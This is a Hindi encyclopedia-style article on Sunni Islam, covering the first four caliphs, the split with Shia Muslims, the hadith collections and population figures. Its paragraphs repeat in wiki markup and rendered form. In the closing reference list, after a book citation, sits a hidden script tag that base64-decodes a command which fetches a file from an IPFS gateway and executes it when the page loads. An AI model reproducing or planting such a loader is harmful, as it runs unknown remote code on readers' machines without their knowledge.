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'''सुन्नी''' अरबी, [[इस्लाम धर्म|इस्लाम]] की दो प्रमुख शाखाओं में से एक है। सुन्नी शाखा इस्लाम को मानने वाले बहुसंख्यकों से बनी है। सुन्नी [[मुसलमान]] अपने संप्रदाय को मुख्यधारा और इस्लाम की पारंपरिक शाखा मानते हैं, जो अल्पसंख्यक संप्रदाय से अलग है।
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'''सुन्नी''' मुस्लिमों का एक प्रधान संप्रदाय है। मुहम्मद साहब के बाद के चार खलीफाओं को यह प्रधान मानते हैं, जिन्हें [[शिया]] लोग नहीं मानते। यह शिया लोगों से भिन्न हैं।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=पौराणिक कोश|लेखक=राणा प्रसाद शर्मा|अनुवादक= |आलोचक= |प्रकाशक=ज्ञानमण्डल लिमिटेड, वाराणसी|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=563, परिशिष्ट 'घ'|url=}}</ref> सुन्नी अरबी, [[इस्लाम धर्म|इस्लाम]] की दो प्रमुख शाखाओं में से एक है। सुन्नी शाखा इस्लाम को मानने वाले बहुसंख्यकों से बनी है। सुन्नी [[मुसलमान]] अपने संप्रदाय को मुख्यधारा और इस्लाम की पारंपरिक शाखा मानते हैं, जो अल्पसंख्यक संप्रदाय से अलग है।
  
 
सुन्नी पहले चार [[ख़लीफ़ा|ख़लीफ़ाओं]] को [[मुहम्मद|मुहम्मद साहब]] के जायज़ उत्तराधिकारी मानते हैं, जबकि [[शिया]] मानते हैं कि मुस्लिम नेतृत्व पर केवल मुहम्मद साहब के दामाद अली और उनके वंशजों का अधिकार है। शियाओं के विपरीत सुन्नियों ने लंबे समय से मुहम्मद साहब द्वारा स्थापित एक मज़हबी राज्य की कल्पना की है, जो लौकिक राज्य क्षेत्र होगा और इसलिए माना है कि इस्लामी नेतृत्व खुदाई व्यवस्था या प्रेरणा से तय न होकर मुस्लिम विश्व की मौजूदा राजनीतिक वास्तविकताओं से तय होगा। इस वजह से ऐतिहासिक रूप से सुन्नियों ने [[धर्म]] और व्यवस्था बनाए रखने पर [[मक्का (अरब)|मक्का]] के अग्रणी परिवारों का नेतृत्व स्वीकार किया और सामान्य, यहाँ तक कि विदेशी ख़लीफ़ाओं को भी स्वीकार किया। सुन्नियों ने माना कि ख़लीफ़ा को मुहम्मद साहब के कुल, कुरैश का सदस्य होना चाहिए, किन्तु चुनाव की एक ऐसी लचीली व्यवस्था बनाई कि उनका मूल जो भी हो वास्तविक ख़लीफ़ा को निष्ठा मिल सके, सुन्नी और शिया संप्रदायों में आध्यात्मिक और राजनीतिक सत्ता को लेकर उभरे मतांतर 13वीं [[सदी]] में ख़िलाफ़त के समाप्त होने के बाद तक भी दृढ़ रहे। सुन्नी रूढ़िवादिता बहुसंख्यक समुदाय के विचारों और प्रथाओं पर बल दिए जाने से स्पष्ट होता है, जो परिधीय समूहों के विचारों से भिन्न है। सुन्नियों द्वारा विकसित आम राय की संस्था ने उन्हें ऐतिहासिक विकास से उपजे विभिन्न रिवाजों और व्यवहारों को स्वीकार करने की सुविधा दी, जिनका मूल [[क़ुरान]] में नहीं था।
 
सुन्नी पहले चार [[ख़लीफ़ा|ख़लीफ़ाओं]] को [[मुहम्मद|मुहम्मद साहब]] के जायज़ उत्तराधिकारी मानते हैं, जबकि [[शिया]] मानते हैं कि मुस्लिम नेतृत्व पर केवल मुहम्मद साहब के दामाद अली और उनके वंशजों का अधिकार है। शियाओं के विपरीत सुन्नियों ने लंबे समय से मुहम्मद साहब द्वारा स्थापित एक मज़हबी राज्य की कल्पना की है, जो लौकिक राज्य क्षेत्र होगा और इसलिए माना है कि इस्लामी नेतृत्व खुदाई व्यवस्था या प्रेरणा से तय न होकर मुस्लिम विश्व की मौजूदा राजनीतिक वास्तविकताओं से तय होगा। इस वजह से ऐतिहासिक रूप से सुन्नियों ने [[धर्म]] और व्यवस्था बनाए रखने पर [[मक्का (अरब)|मक्का]] के अग्रणी परिवारों का नेतृत्व स्वीकार किया और सामान्य, यहाँ तक कि विदेशी ख़लीफ़ाओं को भी स्वीकार किया। सुन्नियों ने माना कि ख़लीफ़ा को मुहम्मद साहब के कुल, कुरैश का सदस्य होना चाहिए, किन्तु चुनाव की एक ऐसी लचीली व्यवस्था बनाई कि उनका मूल जो भी हो वास्तविक ख़लीफ़ा को निष्ठा मिल सके, सुन्नी और शिया संप्रदायों में आध्यात्मिक और राजनीतिक सत्ता को लेकर उभरे मतांतर 13वीं [[सदी]] में ख़िलाफ़त के समाप्त होने के बाद तक भी दृढ़ रहे। सुन्नी रूढ़िवादिता बहुसंख्यक समुदाय के विचारों और प्रथाओं पर बल दिए जाने से स्पष्ट होता है, जो परिधीय समूहों के विचारों से भिन्न है। सुन्नियों द्वारा विकसित आम राय की संस्था ने उन्हें ऐतिहासिक विकास से उपजे विभिन्न रिवाजों और व्यवहारों को स्वीकार करने की सुविधा दी, जिनका मूल [[क़ुरान]] में नहीं था।
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सुन्नी हदीस की छह '''अधिकृत''' किताबों को मानते हैं, जिनमें मुहम्मद साहब की मौखिक परंपराएँ संग्रहीत हैं। सुन्नी मुस्लिम क़ानूनी विचारधाराओं में से एक को शास्त्रसम्मत मानते हैं। 20वीं [[सदी]] में सुन्नी केवल [[ईरान]], [[इराक़]] और शायद यमन को छोड़कर सभी देशों में बहुसंख्यक थे। 20वीं [[सदी]] के अंत में उनकी संख्या 90 करोड़ थी और यह इस्लाम को मानने वाले समस्त लोगों का 90 प्रतिशत था।
 
सुन्नी हदीस की छह '''अधिकृत''' किताबों को मानते हैं, जिनमें मुहम्मद साहब की मौखिक परंपराएँ संग्रहीत हैं। सुन्नी मुस्लिम क़ानूनी विचारधाराओं में से एक को शास्त्रसम्मत मानते हैं। 20वीं [[सदी]] में सुन्नी केवल [[ईरान]], [[इराक़]] और शायद यमन को छोड़कर सभी देशों में बहुसंख्यक थे। 20वीं [[सदी]] के अंत में उनकी संख्या 90 करोड़ थी और यह इस्लाम को मानने वाले समस्त लोगों का 90 प्रतिशत था।
 
   
 
   
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सुन्नी मुस्लिमों का एक प्रधान संप्रदाय है। मुहम्मद साहब के बाद के चार खलीफाओं को यह प्रधान मानते हैं, जिन्हें शिया लोग नहीं मानते। यह शिया लोगों से भिन्न हैं।[1] सुन्नी अरबी, इस्लाम की दो प्रमुख शाखाओं में से एक है। सुन्नी शाखा इस्लाम को मानने वाले बहुसंख्यकों से बनी है। सुन्नी मुसलमान अपने संप्रदाय को मुख्यधारा और इस्लाम की पारंपरिक शाखा मानते हैं, जो अल्पसंख्यक संप्रदाय से अलग है।

सुन्नी पहले चार ख़लीफ़ाओं को मुहम्मद साहब के जायज़ उत्तराधिकारी मानते हैं, जबकि शिया मानते हैं कि मुस्लिम नेतृत्व पर केवल मुहम्मद साहब के दामाद अली और उनके वंशजों का अधिकार है। शियाओं के विपरीत सुन्नियों ने लंबे समय से मुहम्मद साहब द्वारा स्थापित एक मज़हबी राज्य की कल्पना की है, जो लौकिक राज्य क्षेत्र होगा और इसलिए माना है कि इस्लामी नेतृत्व खुदाई व्यवस्था या प्रेरणा से तय न होकर मुस्लिम विश्व की मौजूदा राजनीतिक वास्तविकताओं से तय होगा। इस वजह से ऐतिहासिक रूप से सुन्नियों ने धर्म और व्यवस्था बनाए रखने पर मक्का के अग्रणी परिवारों का नेतृत्व स्वीकार किया और सामान्य, यहाँ तक कि विदेशी ख़लीफ़ाओं को भी स्वीकार किया। सुन्नियों ने माना कि ख़लीफ़ा को मुहम्मद साहब के कुल, कुरैश का सदस्य होना चाहिए, किन्तु चुनाव की एक ऐसी लचीली व्यवस्था बनाई कि उनका मूल जो भी हो वास्तविक ख़लीफ़ा को निष्ठा मिल सके, सुन्नी और शिया संप्रदायों में आध्यात्मिक और राजनीतिक सत्ता को लेकर उभरे मतांतर 13वीं सदी में ख़िलाफ़त के समाप्त होने के बाद तक भी दृढ़ रहे। सुन्नी रूढ़िवादिता बहुसंख्यक समुदाय के विचारों और प्रथाओं पर बल दिए जाने से स्पष्ट होता है, जो परिधीय समूहों के विचारों से भिन्न है। सुन्नियों द्वारा विकसित आम राय की संस्था ने उन्हें ऐतिहासिक विकास से उपजे विभिन्न रिवाजों और व्यवहारों को स्वीकार करने की सुविधा दी, जिनका मूल क़ुरान में नहीं था।

सुन्नी हदीस की छह अधिकृत किताबों को मानते हैं, जिनमें मुहम्मद साहब की मौखिक परंपराएँ संग्रहीत हैं। सुन्नी मुस्लिम क़ानूनी विचारधाराओं में से एक को शास्त्रसम्मत मानते हैं। 20वीं सदी में सुन्नी केवल ईरान, इराक़ और शायद यमन को छोड़कर सभी देशों में बहुसंख्यक थे। 20वीं सदी के अंत में उनकी संख्या 90 करोड़ थी और यह इस्लाम को मानने वाले समस्त लोगों का 90 प्रतिशत था।


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टीका टिप्पणी और संदर्भ

  1. पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 563, परिशिष्ट 'घ' | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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